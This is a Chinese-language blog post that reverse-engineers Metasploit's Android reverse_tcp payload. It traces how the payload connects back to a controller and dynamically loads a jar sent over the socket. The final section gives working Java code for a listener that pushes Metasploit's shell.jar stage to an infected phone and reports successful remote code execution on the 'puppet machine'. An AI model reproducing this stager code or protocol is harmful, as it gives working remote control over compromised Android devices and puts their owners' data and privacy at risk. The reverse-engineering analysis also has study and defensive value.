【逆向工程&編程實戰】Metasploit安卓載荷運行流程分析_復現meterpreter模塊接管shell

/QQ:3496925334
作者:Kali_MG1937
CSDN博客號:ALDYS4
未經許可,禁止轉載
/
關於metasploit的安卓模塊,前幾次的博客我已經寫了相應的分析和工具
【逆向實戰】反編譯解析metasploit安卓載荷android/meterpreter/reverse_tcp
【Android編程】Java利用apktool編寫Metasploit惡意後門注入工具_演示入侵過程
【Android編程】Java利用Socket類編寫Metasploit安卓載荷輔助模塊_演示入侵過程

我再次完善之前的分析
這次我準備對
安卓載荷如何運行,以及執行命令做更深入的分析
對meterpreter模塊接管安卓傀儡機的方式進行復現

0x01運行流程分析

運用工具:
jd-gui,jadx,d2j,apktool
先生成一個載荷apk,接着利用apktool反編譯它的資源文件
在這裏插入圖片描述在這裏插入圖片描述
可以看到主入口在MainActivity這個類
在這裏插入圖片描述
MainActivity在向MainService類的startService方法傳入了Context後立刻結束掉了當前類
在這裏插入圖片描述
可以看到startService方法正式啓動了MainService類的服務
在這裏插入圖片描述
MainService類接着調用了Payload類的start方法,並傳入Context
在這裏插入圖片描述
在Payload的start方法內調用了startInPath方法,並向其中傳入了軟件的私有目錄
而startInPath方法則調用了d類的start方法
在這裏插入圖片描述
可以看到d類實際上就繼承了Thread
在重寫run方法後調用了Payload的main方法
這樣一來,Payload方法也正式執行了
在這裏插入圖片描述
在main方法內,看到第一處紅線標記處,調用了b類的a方法並傳入了變量byte數組a,返回值重新賦值給成員a
這裏簡要說明一下,byte數組a是被加密過的ip及端口,而b類的a方法就是負責解密數組的
ip及端口就是傀儡機要回彈的地址,注意:解密出的ip和端口最終會賦值到下面變量名爲str的字符串
程序執行到第二處紅線標記處,其中a方法就是把當前類設置爲軟件主入口了,沒什麼好說的
繼續看main方法,接下來程序執行的代碼就是向控制機反彈shell的!
在這裏插入圖片描述
程序繼續往下走,while循環內判斷了str這個被賦值ip和端口的字符串是否以tcp開頭
剛剛我們是利用meterpreter模塊的reverse_tcp來生成惡意載荷,所以是以tcp開頭
進入判斷:首先注意str被賦值的字符串格式是"tcp://ip:port"
所以最終程序將執行到圖中第二處紅線標記處:向指定的ip建立Socket套接字
繼續往下看
程序執行到第三處紅線標記處時實例化了DataInputStream和DataOutputStream,並且向其中傳入了套接字的io流
注意,其中傳入的h成員,接下來會講到
接着io流進入最爲關鍵的Payload類中的a方法
在這裏插入圖片描述
先大致瀏覽一下a方法,接下來將分段講解a方法
在這裏插入圖片描述
首先,圖中變量str1賦予了傳入的數組中的第一個值
還記得之前傳入的h成員嗎,我們對他進行溯源
在這裏插入圖片描述
回到Payload類最開始的start方法,傳入的正是軟件的私有目錄
大致瀏覽過a方法後可以知道,軟件的私有目錄正是作爲程序的根目錄
回到a方法
程序繼續執行
在這裏插入圖片描述
其中str2變量在抽取隨機數後拼接在了str1後面
而str3在str2後面拼接了".jar"
str5將io流傳入了另一個a方法,以下我們簡稱這另一個a方法爲a1方法
查看a1方法
在這裏插入圖片描述
可以看到a1方法在讀取了Datainputstrem數據流的int之後傳入了byte數組
接着程序在遍歷完成int長度後就會跳出循環,返回一個被賦值了的byte數組
繼續回到a方法
在這裏插入圖片描述
str5在讀取完io流回傳的數據後
另一個byte數組(圖中第二處紅線)開始了讀取
最終byte數組被寫入了str3這個文件內,也就是拼接了".jar"的文件
是不是感覺它的運行原理馬上就要明晰了?
在第四處紅線標記處,一個
變量名爲clazz的Class
賦予了實例化後的DexClassLoader,並且傳入了剛剛的jar文件
str5作爲加載的類名傳入clazz
接着程序執行到最後一行,clazz的start方法被執行,並且傳入io流

怎麼樣,是不是很興奮,運行原理已經出來了,我們大致理一下思路
[1].程序經過一堆傳參到達Payload類的main方法
[2].程序建立套接字連接控制端
[3].程序將套接字的數據流傳入a方法
[4].a方法處理了傳來的數據,在軟件私有目錄下接收了jar文件和要加載的類信息
[5].程序最終加載了jar方法中的代碼
所以meterpreter模塊就是通過遠程傳輸jar文件來讓傀儡機動態執行jar中的代碼

0x02 meterpreter模塊傳輸文件解析

要知道meterpreter如何接管傀儡機,還是要知道它是傳入的什麼文件,傳輸的什麼數據
爲了驗證第一步的結論,我修改了一下生成的載荷apk的代碼
在這裏插入圖片描述
可以看到程序在接收完jar文件後執行了其中的代碼就立刻刪除了傳輸過來的文件
我對它的smali代碼進行修改
在這裏插入圖片描述
我找到其中的delete方法
在這裏插入圖片描述
將delete方法刪除,並且添加了一個Log語句用於打印str5的內容
這樣一來,文件,str5的內容我都能知道了
重新編譯後安裝apk,接着利用metasploit接管傀儡機
在這裏插入圖片描述
接着查看軟件的私有目錄
在這裏插入圖片描述
可以看到jar文件確實沒有被刪除
接着確認一下打印內容
在這裏插入圖片描述
打印內容應該就是jar文件的類路徑了
查看jar包
在這裏插入圖片描述
有一個dex文件,反編譯查看
在這裏插入圖片描述
根據str5的內容進入指定類
在這裏插入圖片描述
程序之前調用到了jar文件中指定類的start方法,並且傳入了io流
而這個jar文件也確實存在start方法
大致瀏覽一遍內容可知,這個jar文件就是meterpreter模塊的代碼!
也是通過讀取數據流和加載dex文件的方式執行控制端下達的指令!
meterpreter模塊的真面目也出來了!
那麼何不如模仿meterpreter模塊讓傀儡機執行我們設定的命令呢?

0x03 復現遠程控制以及代碼執行

首先先回到a1方法查看代碼
在這裏插入圖片描述
運行流程如下:
[1]讀字節長度
[2]給byte指定讀取到的文件長度
[3]根據文件長度迭代取出io流的內容
[4]返回byte
流程很簡單,

那麼相應的我們發送payload的流程如下
[1]向io流寫入長度
[2]向io流發送指定的payload

發送什麼內容呢?根據之前的分析,發送的內容應該如此構造:
[1]先發送指定的類路徑
[2]發送指定jar文件

運行流程理清楚了
那麼發送什麼payload好呢?
我在metasploit的目錄裏找到了有趣的文件
在這裏插入圖片描述
查看shell.jar的代碼
在這裏插入圖片描述
知曉了類路徑,我通過修改smali代碼對圖片第二處紅線處執行的代碼進行了修改
在這裏插入圖片描述
這樣我就能通過判斷shell文件夾是否被創建來判斷代碼是否被執行了

接下來放代碼

package com.msf;

import java.io.DataOutput;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.UnknownHostException;

public class Main {
public static void main(String[] arg) throws Exception {
	ServerSocket serverSocket=new ServerSocket(1568);
	System.out.println("build a server in port of 1568");
	Socket socket=serverSocket.accept();
	System.out.println("msf get in!");
	DataOutputStream outputStream=getOutPutStream(socket);
	sendPayload(outputStream, "androidpayload.stage.Shell", "C:/aaw.jar");
	System.out.println("Over!");
}
public static DataOutputStream getOutPutStream(Socket socket) throws IOException {
	System.out.println("[!]-->getOutputStream!");
	return new DataOutputStream(socket.getOutputStream());
}
public static void sendPayload(DataOutputStream outputStream,String clazz,String injectJar) throws Exception {
	int clazz_length = clazz.length();
	System.out.println("[*]class  length-->"+clazz_length);
	File file=new File(injectJar);
	int inject_length=(int) file.length();
	System.out.println("[*]injectJar length-->"+inject_length);
	byte[] file_b=getFile(file);
	outputStream.writeInt(clazz_length);
	System.out.println("[*]send class length...");
	outputStream.write(clazz.getBytes());
	System.out.println("[*]send class...");
	outputStream.writeInt(inject_length);
	System.out.println("[*]send injectJar length");
	outputStream.write(file_b);
	System.out.println("[*]send injectJar...");
	Thread.sleep(3000);
	System.out.println("[*]-->SEND A SHELL!");
}
public static byte[] getFile(File file) throws Exception {
	FileInputStream fileInputStream=new FileInputStream(file);
	int readLen=(int) file.length();
	byte[] b=new byte[readLen];
	int length=0;
	while(length<readLen) 
	{
		int read=fileInputStream.read(b, length, readLen-length);
		if(read<0) {throw new Exception();}
		length+=read;
	}
	return b;
}
}

在這裏插入圖片描述
在這裏插入圖片描述
接着手機彈出了su權限請求的提示!
在這裏插入圖片描述
查看軟件的私有目錄
在這裏插入圖片描述
如圖,shell文件夾被創建
遠程代碼成功執行!

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章